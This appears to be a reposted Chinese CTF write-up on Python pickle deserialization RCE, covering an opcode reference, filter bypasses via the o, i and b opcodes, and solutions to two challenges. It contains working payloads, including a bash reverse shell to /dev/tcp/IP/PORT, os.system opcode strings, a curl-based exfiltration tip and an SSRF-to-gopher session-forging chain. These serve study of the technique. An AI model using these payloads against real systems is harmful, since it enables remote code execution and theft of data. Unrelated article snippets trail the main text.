pickle反序列化RCE分析

news2025/1/10 16:55:59

pickle反序列化

  • 一. pickle模块
    • 1.1 什么是pickle模块
    • 1.2 常用函数
    • 1.3 魔术方法
  • 二. 例题[[BUUOJ]HFCTF 2021 Final]
    • 2.1 题目分析
    • 2.2 payload
  • 三. opcode编写
    • 3.1 为什么要用到opcode
    • 3.2 什么是opcode
    • 3.3 常见的指令符
    • 3.4 opcode执行原理
    • 3.5 R指令被禁绕过
    • 3.6 构造示例
    • 3.7 一些tips
  • 四. 例题 长城杯[seeking]
    • 4.1 题目分析
    • 4.1 payload
  • 五.总结

一. pickle模块

1.1 什么是pickle模块

pickle模块是Python的标准库之一,用于实现对象的序列化和反序列化。它可以将Python对象转换为字节流(serialization),并在需要时重新恢复(deserialization)成相同的对象。通过pickle模块,你可以将Python对象存储到磁盘或通过网络传输,并在需要时重新加载,以方便数据的保存和传递。pickle模块支持几乎所有的Python数据类型,包括自定义类和对象。

1.2 常用函数

pickle.dump(obj, file, [,protocol])

功能:将obj对象序列化存入已经打开的file中。
参数:
obj:想要序列化的obj对象。
file:文件名称。
protocol:序列化使用的协议。如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.load(file)

功能:将file中的对象序列化读出。
参数:
file:文件名称。

CTF中常见的是以下两个函数

pickle.dumps(obj[, protocol])

功能:将obj对象序列化为string形式,而不是存入文件中。
参数:
obj:想要序列化的obj对象。
protocal:如果该项省略,则默认为0。如果为负值或HIGHEST_PROTOCOL,则使用最高的协议版本。
pickle.loads(string)

功能:从string中读出序列化前的obj对象。
参数:
string:文件名称。

1.3 魔术方法

这里这里只介绍与漏洞有关的魔术方法
_reduce_

构造方法,在反序列化的时候自动执行,类似于php中的_wake_

_setstate_

在反序列化时自动执行。它可以在对象从其序列化状态恢复时,对对象进行自定义的状态还原。

二. 例题[[BUUOJ]HFCTF 2021 Final]

2.1 题目分析

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

关键代码为以下部分

def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)

这道题没有任何的过滤,直接传入自定义构造方法的User对象,pickle.loads进行反序列化,然后即可实现Rce

2.2 payload

import pickle
from base64 import b64encode
import os

User = type('User', (object,), {
    'uname': 'tyskill',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    # 添加__reduce__方法RCE
    '__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'",))
    //反序列化时自动调用,反弹shell
})
u = pickle.dumps(User())
print(b64encode(u).decode())

不经base64加密输出为:
这里到下面opcode部分有用

b"\x80\x04\x95<\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x8c\x06system\x93\x8c*bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'\x85R."

三. opcode编写

3.1 为什么要用到opcode

由于单一的__reduce__方法已经被考烂了,现在很多题目都有以下过滤

 if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

可以看到过滤了字节R,在序列化(上面例题payload的最后一个字符)的opcode中字节R对应的是__reduce__构造方法,故这种情况无法使用构造方法进行Rce,需要编写opcode

3.2 什么是opcode

Python 的 opcode(operation code)是一组原始指令,用于在 Python 解释器中执行字节码。每个 opcode都是是一个标识符,代表一种特定的操作或指令。
在 Python 中,源代码首先被编译为字节码,然后由解释器逐条执行字节码指令。这些指令以 opcode 的形式存储在字节码对象中,并由Python 解释器按顺序解释和执行。

每个 opcode 都有其特定的功能,用于执行不同的操作,例如变量加载、函数调用、数值运算、控制流程等。Python 提供了大量的
opcode,以支持各种操作和语言特性。

3.3 常见的指令符

opcode描述具体写法栈上的变化memo上的变化
c获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)c[module]\n[instance]\n获得的对象入栈
o寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)o这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)i[module]\n[callable]\n这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N实例化一个NoneN获得的对象入栈
S实例化一个字符串对象S'xxx'\n(也可以使用双引号、\'等python字符串形式)获得的对象入栈
V实例化一个UNICODE字符串对象Vxxx\n获得的对象入栈
I实例化一个int对象Ixxx\n获得的对象入栈
F实例化一个float对象Fx.x\n获得的对象入栈
R选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数R函数和参数出栈,函数的返回值入栈
.程序结束,栈顶的一个元素作为pickle.loads()的返回值.
(向栈中压入一个MARK标记(MARK标记入栈
t寻找栈中的上一个MARK,并组合之间的数据为元组tMARK标记以及被组合的数据出栈,获得的对象入栈
)向栈中直接压入一个空元组)空元组入栈
l寻找栈中的上一个MARK,并组合之间的数据为列表lMARK标记以及被组合的数据出栈,获得的对象入栈
]向栈中直接压入一个空列表]空列表入栈
d寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对)dMARK标记以及被组合的数据出栈,获得的对象入栈
}向栈中直接压入一个空字典}空字典入栈
p将栈顶对象储存至memo_npn\n对象被储存
g将memo_n的对象压栈gn\n对象被压栈
0丢弃栈顶对象0栈顶对象被丢弃
b使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置b栈上第一个元素出栈
s将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中s第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中uMARK标记以及被组合的数据出栈,字典被更新
a将栈的第一个元素append到第二个元素(列表)中a栈顶元素出栈,第二个元素(列表)被更新
e寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中eMARK标记以及被组合的数据出栈,列表被更新

3.4 opcode执行原理

涉及到出栈入栈,对照上面的指令即可看懂
示例流程图:
在这里插入图片描述

3.5 R指令被禁绕过

在R指令被禁用时我们可以使用 o 、i 来进行绕过,这里重点提一下 b
以下是pickle中b指令对应的源码
在这里插入图片描述

这里的实现方式也就是上文的注所提到的:如果inst(传入的对象)拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到 inst.dict(对象中的属性)里面。

利用思路:如果一个类原先没有__setstate__方法。那么我们利用{‘setstate’: os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate(“ls /”) ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.

payload如下:

payload = b'\x80\x03c__main__\nExample\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'

首先用 ) 压入空元组,然后x81用空元组实例化Example对象,然后用 ( 压入MARK,然后压入空字典,用u把{‘setstate’: os.system}压入空字典,然后用b设置对象里的属性为刚才的字典里的属性,然后再次用b传入“ls /”,检测到inst(传入的对象)拥有__setstate__方法,**则把state交给__setstate__方法来处理,即执行
os.system(ls /)

3.6 构造示例

以下从R 、 i 、 o 三个方向构造编写的命令执行的opcode,可以借鉴参考一下

R :

b'''cos
system
(S'whoami'
tR.'''

i :

b'''(S'whoami'
ios
system
.'''

o :

b'''(cos
system
S'whoami'
o.'''

3.7 一些tips

一、其他模块的load也可以触发pickle反序列化漏洞。例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

二、即使代码中没有importos,GLOBAL指令也可以自动导入os.system。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。

三、即使没有回显,也可以很方便地调试恶意代码。只需要拥有一台公网服务器,执行os.system('curl your_server/ls / | base64),然后查询您自己的服务器日志,就能看到结果。这是因为:以`引号包含的代码,在sh中会直接执行,返回其结果。

四. 例题 长城杯[seeking]

4.1 题目分析

首页源码

<?php
error_reporting(0);
header("HINT:POST n = range(1,10)");

$image = $_GET['image'];
echo "这里什么也没有,或许吧。";
$allow = range(1, 10);
shuffle($allow);
if (($_POST['n'] == $allow[0])) {
    if(isset($image)){
	$image = base64_decode($image);
    	$data = base64_encode(file_get_contents($image));
	echo "your image is".base64_encode($image)."</br>";
	echo "<img src='data:image/png;base64,$data'/>";
    }else{
	$data = base64_encode(file_get_contents("tupian.png"));
    	echo "no image get,default img is dHVwaWFuLHBuZw==";
	echo "<img src='data:image/png;base64,$data'/>";
    }
}

这里存在一个随机数的比较绕过,网上查了下这个函数没啥漏洞,采取1-10爆破的方法进行绕过

然后我们可以用file或者filter伪协议通过file_get_contents()函数读取文件

根据提示图片中含有信息,并且bash记录中也有信心,在首页图片中分离出一个7Z的压缩包,web题里也有misc

在这里插入图片描述

压缩包中含有一个名为 secret.txt的文本文本,打开发现有 M0sT_D4nger0us.php

用file协议读取该php文件内容

<?php
$url=$_GET['url'];
$curlobj = curl_init($url);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_exec($curlobj);
?>

发现该题为ssrf

然后根据提示读取secret用户的bash记录

M0sT_D4nger0us.php?url=/home/secret/.bashhistory

在这里插入图片描述

发现开启了一个Python的web服务

然后利用file协议读取app.py的内容

M0sT_D4nger0us.php?url=/home/secret/Ez_Pickle/app.py

发现该web服务的地址为 127.0.0.1:5555

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "idontwantyoutoknowthis"

User = type('User', (object,), {
    'uname': 'xxx',
    '__repr__': lambda o: o.uname,
})

@app.route('/', methods=('GET','POST'))
def index_handler():
    u = pickle.dumps(User())
    session['u'] = u
    return "这里啥都没有,我只知道有个路由的名字和python常用的的一个序列化的包的名字一样哎"


@app.route('/pickle', methods=('GET','POST'))
def pickle_handler():
    try:
        u = session.get('a')
        if isinstance(u, dict):
            code = b64decode(u.get('b'))
            if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code:
                print(code)
                return "what do you want???"
            result=pickle.loads(code)
            return result
        else:
            return "almost there"
    except:
        return "error"


if __name__ == '__main__':
    app.run('127.0.0.1', port=5555, debug=False)

考点就是pickle反序列化加opcode构造+gopher协议+session伪造

但是存在过滤

if b'R' in code or b'built' in code or b'setstate' in code or b'flag' in code

这就是典型的R指令被禁的情况

4.1 payload

这道题有很多种opcode,任选其一即可

  1. o指令绕过
payload1 = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''

先是用 ( 入栈一个MARK,然后用 c 导入os.system()函数入栈,然后用 S 定义字符串并入栈,最后用 o **寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数,*结果是os.system(cat /f > /tmp/a’o), 点号是结束的意思

2.b指令绕过

payload2 =(c__main__
User
o}(S"\\x5f\\x5f\\x73\\x65\\x74\\x73\\x74\\x61\\x74\\x65\\x5f\\x5f" //__setstate__
cos
system
ubS"cat /ffl14aaaaaaagg>/tmp/gkjzjh146"
b.

这里的原理与文章3.5 R指令绕过原理相同

编写好opcode,然后用脚本加密并gopher发包
加密

import base64
import pickle

payload = b'''(cos
system
S'cat /f* > /tmp/a'
o.'''
# ls / > /tmp/a 得到flag名称
code = payload
payload = base64.b64encode(code)
a = {
    'b': payload
}
session = {}
session['a'] = a
print(session)

然后将结果进行session伪造

gopher发送

import urllib.parse
a ='''GET /pickle HTTP/1.1
Host: 127.0.0.1:5555
Cookie: session=eyJhIjp7ImIiOiJLR052Y3dwemVYTjBaVzBLVXlkallYUWdMMllxSUQ0Z0wzUnRjQzloSndwdkxnPT0ifX0.ZPlszQ.mXPJEIl_a5JbUlHndOy5WOceS2s
'''

tmp = urllib.parse.quote(a)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:5555/' + '_' + new
print(result)

五.总结

作者最近也是从长城杯中接触到的opcode,奈何当时没学,没有解出那道题
opcode刚开始确实挺难看懂的,但是找一个payload然后参照着指令表,慢慢推演琢磨就好了
另外还有 pker(下载链接https://github.com/eddieivan01/pker) 这种编写opcode的脚本,现在还没学,等过几天更新

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1017458.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

can‘t sync to target.

飞翔仿真器 无法 与S12单片机 建立联系&#xff0c;仿真时显示 cant sync to target. 但是使用仿真器与其他板子连接仿真是没问题的。 首先怀疑硬件问题&#xff1a;没发现问题&#xff1b; 然后&#xff0c;勇敢的点击菜单中 设置速度&#xff0c;根据自己晶振和建议设置如…

看完这篇 教你玩转渗透测试靶机Vulnhub——Grotesque:2

Vulnhub靶机Grotesque&#xff1a;1.0.1渗透测试详解 Vulnhub靶机介绍&#xff1a;Vulnhub靶机下载&#xff1a;Vulnhub靶机安装&#xff1a;①&#xff1a;信息收集&#xff1a;②&#xff1a;暴力破解&#xff1a;③&#xff1a;SSH登入&#xff1a;④&#xff1a;提权&#…

Java中double类型保留小数点后两位的方法

1.String类的format方法 package com.yushifu.problem; //java中double保留两位小数的方法 import java.util.Scanner; public class Demo01 {public static void main(String[] args) {//Practice:键盘输入数据&#xff0c;以保留小数点后两位的格式输出键盘输入的数据。doub…

Linux CentOS7 history命令

linux查看历史命令可以使用history命令&#xff0c;该命令可以列出所有已键入的命令。 这个命令的作用可以让用户或其他有权限人员&#xff0c;进行审计&#xff0c;查看已录入的命令。 用户所键入的命令作为应保存的信息将记录在文件中&#xff0c;这个文件保存就是家目录中…

ApplicationContext版本的快速入门

ApplicationContext快速入门 ApplicationContext称为Spring容器&#xff0c;内部封装了BeanFactory&#xff0c;比BeanFactory功能更加丰富和强大&#xff0c;使用ApplicationContext进行开发时&#xff0c;xml配置文件的名称习惯写成applicationContext.xml。 BeanFactory和…

上海交通大学生存手册

强烈建议去看看《上海交通大学生存手册》&#xff0c;内容可能有点长&#xff0c;但讲得很好&#xff0c;说出了大学教育的本质。如果几年前我能看到它&#xff0c;也许我的大学生活可能会不一样。 只是&#xff0c;没有如果。 那么我把这本手册推荐给正在上大学或者是将要上…

网络协议学习地图分享

最近在回顾网络知识点的时候&#xff0c;发现华为数通有关报文格式及网络协议地图神仙网站&#xff0c;这里涵盖了各个协议层及每个协议层对应的协议内容&#xff0c;最人性的化的一点是点击每个单独的协议可以跳转到该协议详细报文格式页面&#xff0c;有对应的说明和解释&…

芯片工程师求职题目之CPU篇(4)

1. 在组相联cache中&#xff0c;用于替换cache line的算法有哪些&#xff1f; LRU(Least Recently Used)算法&#xff1a;该算法会跟踪每个cache line的age(年龄)情况&#xff0c;并在需要时替换掉近期最少使用的cache line。MRU(Most Recently Used)算法&#xff1a;这与LRU相…

TCP/IP、DTN网络通信协议族

TCP/IP 从 19 世纪 60 年代计算机网络发展开始&#xff0c;网络协议技术已经经历了半个多世纪的发展&#xff0c;地面互联网已经形成了以传输控制协议&#xff08;TCP&#xff09;/IP 协议体系为主的网络架构。TCP/IP体系发源于计算机网络&#xff0c;是一种以主 机为中心的网…

CountDownLatch 使用例子和代码流程

目录 CountDownLatch意思理解普通多线程运行Thread.join()实现CountDownLatch实现CountDownLatch流程new CountDownLatch(3)countDown 方法await方法 CountDownLatch意思理解 单词1: countdown 常见释义: 英[ˈkaʊntdaʊn] 美[ˈkaʊntdaʊn] n. 倒数读秒&#xff0c;倒计时(…

王江涛十天搞定考研词汇

学习目标&#xff1a; 考研词汇 学习内容&#xff1a; 2023-9-17 第一天考研词汇 学习时间&#xff1a; 2023-9-17 学习产出&#xff1a;A intellect智力&#xff1b;知识分子intellectual智力的&#xff1b;聪明的intellectualize使...理智化&#xff0c;对...做理性探索c…

ros2学习笔记:shell环境变量脚本setup.bash[-z][-n][-f]参数作用

-n作用 [ -n 字符串 ] or [ 字符串 ] 字符串的长度为非零&#xff08;有内容&#xff09;则为真。加-n与不加-n结果相同。 -z作用 [ -z 字符串 ] 字符串的长度为零则为真。 字符串为空即NULL时为真&#xff0c;与上面的-n相反。 -f作用 [ -f FILE ] 如果 FILE 存在且是一…

Unity shader内置standard代码解析

最近有相关需求制作&#xff0c;所以这里编写一个文档&#xff0c;方便后续的流程查看。 下载源码 由于unity内置的shader是无法查看源码的&#xff0c;你需要去官网下载对应版本内置源码查看 在引擎下载那里&#xff0c;会有一个Built in Shaders&#xff0c;下载 打开以后…

刷一下算法

记录下自己的思路与能理解的解法,可能并不是最优解法,不定期持续更新~ 1.盛最多水的容器 给定一个长度为 n 的整数数组 height 。有 n 条垂线&#xff0c;第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。 找出其中的两条线&#xff0c;使得它们与 x 轴共同构成的容器可以容…

AURIX TC3XX内存映射分析

TC3XX内存映射Features AURIX TC3xx系列设备的内存映射中包含的各个部分。这些内存部分在设备上有各自的用途和特性。以下是这些部分的一些概念解释&#xff1a; Program Flash Interface (PFI) 和 Program Flash Memory (PF) 是用来存储程序代码的闪存。即使在断电时&#xf…

【学习笔记】Java 一对一培训(3.1)Spring Boot介绍和基础

【学习笔记】Java 一对一培训&#xff08;3.1&#xff09;Spring Boot介绍和基础 关键词&#xff1a;Java、Spring Boot、Idea、数据库、一对一、培训、教学本文主要内容含Spring Boot相关的基础介绍、快速入门、Maven介绍、代码结构介绍、打包运行、配置介绍等计划1小时完成&…

TOTP算法实现

TOTP算法实现 1 什么是双因子认证&#xff08;2FA&#xff09;2 TOTP原理2.1 HOTP原理2.2 TOTP 3 实现参考文章 最近发现github天天给我发通知要启用双因子认证&#xff08;2FA&#xff09;&#xff0c;受不了了只能想办法启用了。看到它支持采用基于TOTP算法的应用的认证方式&…

彻底搞懂线程池原理以及创建方式

1. 为什么要使用线程池 在实际使用中&#xff0c;线程是很占用系统资源的&#xff0c;如果对线程管理不善很容易导致系统问题。因此&#xff0c;在大多数并发框架中都会使用线程池来管理线程&#xff0c;使用线程池管理线程主要有如下好处&#xff1a; 降低资源消耗。通过复用…

Python机器学习实战-建立Gradient Boosting模型预测肾脏疾病(附源码和实现效果)

实现功能 建立Gradient Boosting模型预测肾脏疾病 实现代码 import pandas as pd import warnings warnings.filterwarnings("ignore") pd.set_option(display.max_columns, 26)#读取数据 df pd.read_csv("E:\数据杂坛\datasets\kidney_disease.csv") …

vMAP——论文解析

vMAP: Vectorised Object Mapping for Neural Field SLAM vMAP 是一个物体级稠密图 neural SLAM&#xff0c;每一个物体都用一个 mlp 来表征&#xff0c;而不需要 3D 先验。当 RGB-D 相机在没有任何先验信息的情况下时&#xff0c;vMAP 会即时检测物体 instance&#xff0c;并将…